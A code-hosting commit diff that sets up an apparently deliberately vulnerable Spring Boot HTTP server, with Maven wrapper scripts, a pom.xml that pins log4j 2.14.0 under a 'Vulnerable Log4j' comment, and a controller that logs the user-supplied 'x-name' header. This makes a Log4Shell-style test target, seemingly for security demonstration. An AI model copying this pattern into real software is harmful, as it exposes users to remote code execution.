echo "Warning: JAVA_HOME environment variable is not set." |
|||
fi |
|||
|
|||
CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher |
|||
|
|||
# traverses directory structure from process work directory to filesystem root |
|||
# first directory with .mvn subdirectory is considered project base directory |
|||
find_maven_basedir() { |
|||
|
|||
if [ -z "$1" ] |
|||
then |
|||
echo "Path not specified to find_maven_basedir" |
|||
return 1 |
|||
fi |
|||
|
|||
basedir="$1" |
|||
wdir="$1" |
|||
while [ "$wdir" != '/' ] ; do |
|||
if [ -d "$wdir"/.mvn ] ; then |
|||
basedir=$wdir |
|||
break |
|||
fi |
|||
# workaround for JBEAP-8937 (on Solaris 10/Sparc) |
|||
if [ -d "${wdir}" ]; then |
|||
wdir=`cd "$wdir/.."; pwd` |
|||
fi |
|||
# end of workaround |
|||
done |
|||
echo "${basedir}" |
|||
} |
|||
|
|||
# concatenates all lines of a file |
|||
concat_lines() { |
|||
if [ -f "$1" ]; then |
|||
echo "$(tr -s '\n' ' ' < "$1")" |
|||
fi |
|||
} |
|||
|
|||
BASE_DIR=`find_maven_basedir "$(pwd)"` |
|||
if [ -z "$BASE_DIR" ]; then |
|||
exit 1; |
|||
fi |
|||
|
|||
########################################################################################## |
|||
# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central |
|||
# This allows using the maven wrapper in projects that prohibit checking in binary data. |
|||
########################################################################################## |
|||
if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then |
|||
if [ "$MVNW_VERBOSE" = true ]; then |
|||
echo "Found .mvn/wrapper/maven-wrapper.jar" |
|||
fi |
|||
else |
|||
if [ "$MVNW_VERBOSE" = true ]; then |
|||
echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..." |
|||
fi |
|||
if [ -n "$MVNW_REPOURL" ]; then |
|||
jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" |
|||
else |
|||
jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" |
|||
fi |
|||
while IFS="=" read key value; do |
|||
case "$key" in (wrapperUrl) jarUrl="$value"; break ;; |
|||
esac |
|||
done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties" |
|||
if [ "$MVNW_VERBOSE" = true ]; then |
|||
echo "Downloading from: $jarUrl" |
|||
fi |
|||
wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" |
|||
if $cygwin; then |
|||
wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"` |
|||
fi |
|||
|
|||
if command -v wget > /dev/null; then |
|||
if [ "$MVNW_VERBOSE" = true ]; then |
|||
echo "Found wget ... using wget" |
|||
fi |
|||
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then |
|||
wget "$jarUrl" -O "$wrapperJarPath" |
|||
else |
|||
wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath" |
|||
fi |
|||
elif command -v curl > /dev/null; then |
|||
if [ "$MVNW_VERBOSE" = true ]; then |
|||
echo "Found curl ... using curl" |
|||
fi |
|||
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then |
|||
curl -o "$wrapperJarPath" "$jarUrl" -f |
|||
else |
|||
curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f |
|||
fi |
|||
|
|||
else |
|||
if [ "$MVNW_VERBOSE" = true ]; then |
|||
echo "Falling back to using Java to download" |
|||
fi |
|||
javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java" |
|||
# For Cygwin, switch paths to Windows format before running javac |
|||
if $cygwin; then |
|||
javaClass=`cygpath --path --windows "$javaClass"` |
|||
fi |
|||
if [ -e "$javaClass" ]; then |
|||
if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then |
|||
if [ "$MVNW_VERBOSE" = true ]; then |
|||
echo " - Compiling MavenWrapperDownloader.java ..." |
|||
fi |
|||
# Compiling the Java class |
|||
("$JAVA_HOME/bin/javac" "$javaClass") |
|||
fi |
|||
if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then |
|||
# Running the downloader |
|||
if [ "$MVNW_VERBOSE" = true ]; then |
|||
echo " - Running MavenWrapperDownloader.java ..." |
|||
fi |
|||
("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR") |
|||
fi |
|||
fi |
|||
fi |
|||
fi |
|||
########################################################################################## |
|||
# End of extension |
|||
########################################################################################## |
|||
|
|||
export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} |
|||
if [ "$MVNW_VERBOSE" = true ]; then |
|||
echo $MAVEN_PROJECTBASEDIR |
|||
fi |
|||
MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" |
|||
|
|||
# For Cygwin, switch paths to Windows format before running java |
|||
if $cygwin; then |
|||
[ -n "$M2_HOME" ] && |
|||
M2_HOME=`cygpath --path --windows "$M2_HOME"` |
|||
[ -n "$JAVA_HOME" ] && |
|||
JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` |
|||
[ -n "$CLASSPATH" ] && |
|||
CLASSPATH=`cygpath --path --windows "$CLASSPATH"` |
|||
[ -n "$MAVEN_PROJECTBASEDIR" ] && |
|||
MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` |
|||
fi |
|||
|
|||
# Provide a "standardized" way to retrieve the CLI args that will |
|||
# work with both Windows and non-Windows executions. |
|||
MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@" |
|||
export MAVEN_CMD_LINE_ARGS |
|||
|
|||
WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain |
|||
|
|||
exec "$JAVACMD" \ |
|||
$MAVEN_OPTS \ |
|||
-classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ |
|||
"-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ |
|||
${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" |
|||
@ -0,0 +1,182 @@ |
|||
@REM ---------------------------------------------------------------------------- |
|||
@REM Licensed to the Apache Software Foundation (ASF) under one |
|||
@REM or more contributor license agreements. See the NOTICE file |
|||
@REM distributed with this work for additional information |
|||
@REM regarding copyright ownership. The ASF licenses this file |
|||
@REM to you under the Apache License, Version 2.0 (the |
|||
@REM "License"); you may not use this file except in compliance |
|||
@REM with the License. You may obtain a copy of the License at |
|||
@REM |
|||
@REM https://www.apache.org/licenses/LICENSE-2.0 |
|||
@REM |
|||
@REM Unless required by applicable law or agreed to in writing, |
|||
@REM software distributed under the License is distributed on an |
|||
@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY |
|||
@REM KIND, either express or implied. See the License for the |
|||
@REM specific language governing permissions and limitations |
|||
@REM under the License. |
|||
@REM ---------------------------------------------------------------------------- |
|||
|
|||
@REM ---------------------------------------------------------------------------- |
|||
@REM Maven Start Up Batch script |
|||
@REM |
|||
@REM Required ENV vars: |
|||
@REM JAVA_HOME - location of a JDK home dir |
|||
@REM |
|||
@REM Optional ENV vars |
|||
@REM M2_HOME - location of maven2's installed home dir |
|||
@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands |
|||
@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending |
|||
@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven |
|||
@REM e.g. to debug Maven itself, use |
|||
@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 |
|||
@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files |
|||
@REM ---------------------------------------------------------------------------- |
|||
|
|||
@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' |
|||
@echo off |
|||
@REM set title of command window |
|||
title %0 |
|||
@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on' |
|||
@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% |
|||
|
|||
@REM set %HOME% to equivalent of $HOME |
|||
if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") |
|||
|
|||
@REM Execute a user defined script before this one |
|||
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre |
|||
@REM check for pre script, once with legacy .bat ending and once with .cmd ending |
|||
if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" |
|||
if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" |
|||
:skipRcPre |
|||
|
|||
@setlocal |
|||
|
|||
set ERROR_CODE=0 |
|||
|
|||
@REM To isolate internal variables from possible post scripts, we use another setlocal |
|||
@setlocal |
|||
|
|||
@REM ==== START VALIDATION ==== |
|||
if not "%JAVA_HOME%" == "" goto OkJHome |
|||
|
|||
echo. |
|||
echo Error: JAVA_HOME not found in your environment. >&2 |
|||
echo Please set the JAVA_HOME variable in your environment to match the >&2 |
|||
echo location of your Java installation. >&2 |
|||
echo. |
|||
goto error |
|||
|
|||
:OkJHome |
|||
if exist "%JAVA_HOME%\bin\java.exe" goto init |
|||
|
|||
echo. |
|||
echo Error: JAVA_HOME is set to an invalid directory. >&2 |
|||
echo JAVA_HOME = "%JAVA_HOME%" >&2 |
|||
echo Please set the JAVA_HOME variable in your environment to match the >&2 |
|||
echo location of your Java installation. >&2 |
|||
echo. |
|||
goto error |
|||
|
|||
@REM ==== END VALIDATION ==== |
|||
|
|||
:init |
|||
|
|||
@REM Find the project base dir, i.e. the directory that contains the folder ".mvn". |
|||
@REM Fallback to current working directory if not found. |
|||
|
|||
set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% |
|||
IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir |
|||
|
|||
set EXEC_DIR=%CD% |
|||
set WDIR=%EXEC_DIR% |
|||
:findBaseDir |
|||
IF EXIST "%WDIR%"\.mvn goto baseDirFound |
|||
cd .. |
|||
IF "%WDIR%"=="%CD%" goto baseDirNotFound |
|||
set WDIR=%CD% |
|||
goto findBaseDir |
|||
|
|||
:baseDirFound |
|||
set MAVEN_PROJECTBASEDIR=%WDIR% |
|||
cd "%EXEC_DIR%" |
|||
goto endDetectBaseDir |
|||
|
|||
:baseDirNotFound |
|||
set MAVEN_PROJECTBASEDIR=%EXEC_DIR% |
|||
cd "%EXEC_DIR%" |
|||
|
|||
:endDetectBaseDir |
|||
|
|||
IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig |
|||
|
|||
@setlocal EnableExtensions EnableDelayedExpansion |
|||
for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a |
|||
@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% |
|||
|
|||
:endReadAdditionalConfig |
|||
|
|||
SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" |
|||
set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" |
|||
set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain |
|||
|
|||
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" |
|||
|
|||
FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO ( |
|||
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B |
|||
) |
|||
|
|||
@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central |
|||
@REM This allows using the maven wrapper in projects that prohibit checking in binary data. |
|||
if exist %WRAPPER_JAR% ( |
|||
if "%MVNW_VERBOSE%" == "true" ( |
|||
echo Found %WRAPPER_JAR% |
|||
) |
|||
) else ( |
|||
if not "%MVNW_REPOURL%" == "" ( |
|||
SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" |
|||
) |
|||
if "%MVNW_VERBOSE%" == "true" ( |
|||
echo Couldn't find %WRAPPER_JAR%, downloading it ... |
|||
echo Downloading from: %DOWNLOAD_URL% |
|||
) |
|||
|
|||
powershell -Command "&{"^ |
|||
"$webclient = new-object System.Net.WebClient;"^ |
|||
"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^ |
|||
"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^ |
|||
"}"^ |
|||
"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^ |
|||
"}" |
|||
if "%MVNW_VERBOSE%" == "true" ( |
|||
echo Finished downloading %WRAPPER_JAR% |
|||
) |
|||
) |
|||
@REM End of extension |
|||
|
|||
@REM Provide a "standardized" way to retrieve the CLI args that will |
|||
@REM work with both Windows and non-Windows executions. |
|||
set MAVEN_CMD_LINE_ARGS=%* |
|||
|
|||
%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* |
|||
if ERRORLEVEL 1 goto error |
|||
goto end |
|||
|
|||
:error |
|||
set ERROR_CODE=1 |
|||
|
|||
:end |
|||
@endlocal & set ERROR_CODE=%ERROR_CODE% |
|||
|
|||
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost |
|||
@REM check for post script, once with legacy .bat ending and once with .cmd ending |
|||
if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" |
|||
if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" |
|||
:skipRcPost |
|||
|
|||
@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' |
|||
if "%MAVEN_BATCH_PAUSE%" == "on" pause |
|||
|
|||
if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% |
|||
|
|||
exit /B %ERROR_CODE% |
|||
@ -0,0 +1,61 @@ |
|||
<?xml version="1.0" encoding="UTF-8"?> |
|||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
|||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> |
|||
<modelVersion>4.0.0</modelVersion> |
|||
<parent> |
|||
<groupId>org.springframework.boot</groupId> |
|||
<artifactId>spring-boot-starter-parent</artifactId> |
|||
<version>2.6.1</version> |
|||
<relativePath/> <!-- lookup parent from repository --> |
|||
</parent> |
|||
<groupId>fr.itix.vulnerable-containers</groupId> |
|||
<artifactId>http-server</artifactId> |
|||
<version>0.0.1-SNAPSHOT</version> |
|||
<name>http-server</name> |
|||
<description>A sample HTTP server</description> |
|||
<properties> |
|||
<java.version>11</java.version> |
|||
<log4j.version>2.14.0</log4j.version> |
|||
</properties> |
|||
<dependencies> |
|||
<dependency> |
|||
<groupId>org.springframework.boot</groupId> |
|||
<artifactId>spring-boot-starter-web</artifactId> |
|||
<exclusions> |
|||
<exclusion> |
|||
<groupId>org.springframework.boot</groupId> |
|||
<artifactId>spring-boot-starter-logging</artifactId> |
|||
</exclusion> |
|||
</exclusions> |
|||
</dependency> |
|||
|
|||
<dependency> |
|||
<groupId>org.springframework.boot</groupId> |
|||
<artifactId>spring-boot-starter-test</artifactId> |
|||
<scope>test</scope> |
|||
</dependency> |
|||
|
|||
<!-- Vulnerable Log4j --> |
|||
<dependency> |
|||
<groupId>org.apache.logging.log4j</groupId> |
|||
<artifactId>log4j-api</artifactId> |
|||
<version>${log4j.version}</version> |
|||
</dependency> |
|||
<dependency> |
|||
<groupId>org.apache.logging.log4j</groupId> |
|||
<artifactId>log4j-core</artifactId> |
|||
<version>${log4j.version}</version> |
|||
</dependency> |
|||
|
|||
</dependencies> |
|||
|
|||
<build> |
|||
<plugins> |
|||
<plugin> |
|||
<groupId>org.springframework.boot</groupId> |
|||
<artifactId>spring-boot-maven-plugin</artifactId> |
|||
</plugin> |
|||
</plugins> |
|||
</build> |
|||
|
|||
</project> |
|||
@ -0,0 +1,27 @@ |
|||
package fr.itix.vulnerablecontainers.httpserver; |
|||
|
|||
import java.util.Map; |
|||
|
|||
import org.apache.logging.log4j.LogManager; |
|||
import org.apache.logging.log4j.Logger; |
|||
import org.springframework.web.bind.annotation.GetMapping; |
|||
import org.springframework.web.bind.annotation.RequestHeader; |
|||
import org.springframework.web.bind.annotation.RestController; |
|||
|
|||
@RestController |
|||
public class HelloController { |
|||
Logger logger = LogManager.getLogger(HelloController.class); |
|||
|
|||
@GetMapping("/") |
|||
public String index(@RequestHeader Map<String, String> headers) { |
|||
String name = headers.get("x-name"); |
|||
|
|||
if (name != null && ! "".equals(name)) { |
|||
logger.info("Request from {}", name); |
|||
return "Hello, " + name + "!"; |
|||
} |
|||
|
|||
return "Hello, world!"; |
|||
} |
|||
|
|||
} |
|||
@ -0,0 +1,13 @@ |
|||
package fr.itix.vulnerablecontainers.httpserver; |
|||
|
|||
import org.springframework.boot.SpringApplication; |
|||
import org.springframework.boot.autoconfigure.SpringBootApplication; |
|||
|
|||
@SpringBootApplication |
|||
public class HttpServerApplication { |
|||
|
|||
public static void main(String[] args) { |
|||
SpringApplication.run(HttpServerApplication.class, args); |
|||
} |
|||
|
|||
} |
|||
@ -0,0 +1 @@ |
|||
|
|||
@ -0,0 +1,13 @@ |
|||
<?xml version="1.0" encoding="UTF-8"?> |
|||
<Configuration status="INFO"> |
|||
<Appenders> |
|||
<Console name="LogToConsole" target="SYSTEM_OUT"> |
|||
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> |
|||
</Console> |
|||
</Appenders> |
|||
<Loggers> |
|||
<Root level="info"> |
|||
<AppenderRef ref="LogToConsole"/> |
|||
</Root> |
|||
</Loggers> |
|||
</Configuration> |
|||
@ -0,0 +1,13 @@ |
|||
package fr.itix.vulnerablecontainers.httpserver; |
|||
|
|||
import org.junit.jupiter.api.Test; |
|||
import org.springframework.boot.test.context.SpringBootTest; |
|||
|
|||
@SpringBootTest |
|||
class HttpServerApplicationTests { |
|||
|
|||
@Test |
|||
void contextLoads() { |
|||
} |
|||
|
|||
} |
|||
Loading…
Reference in new issue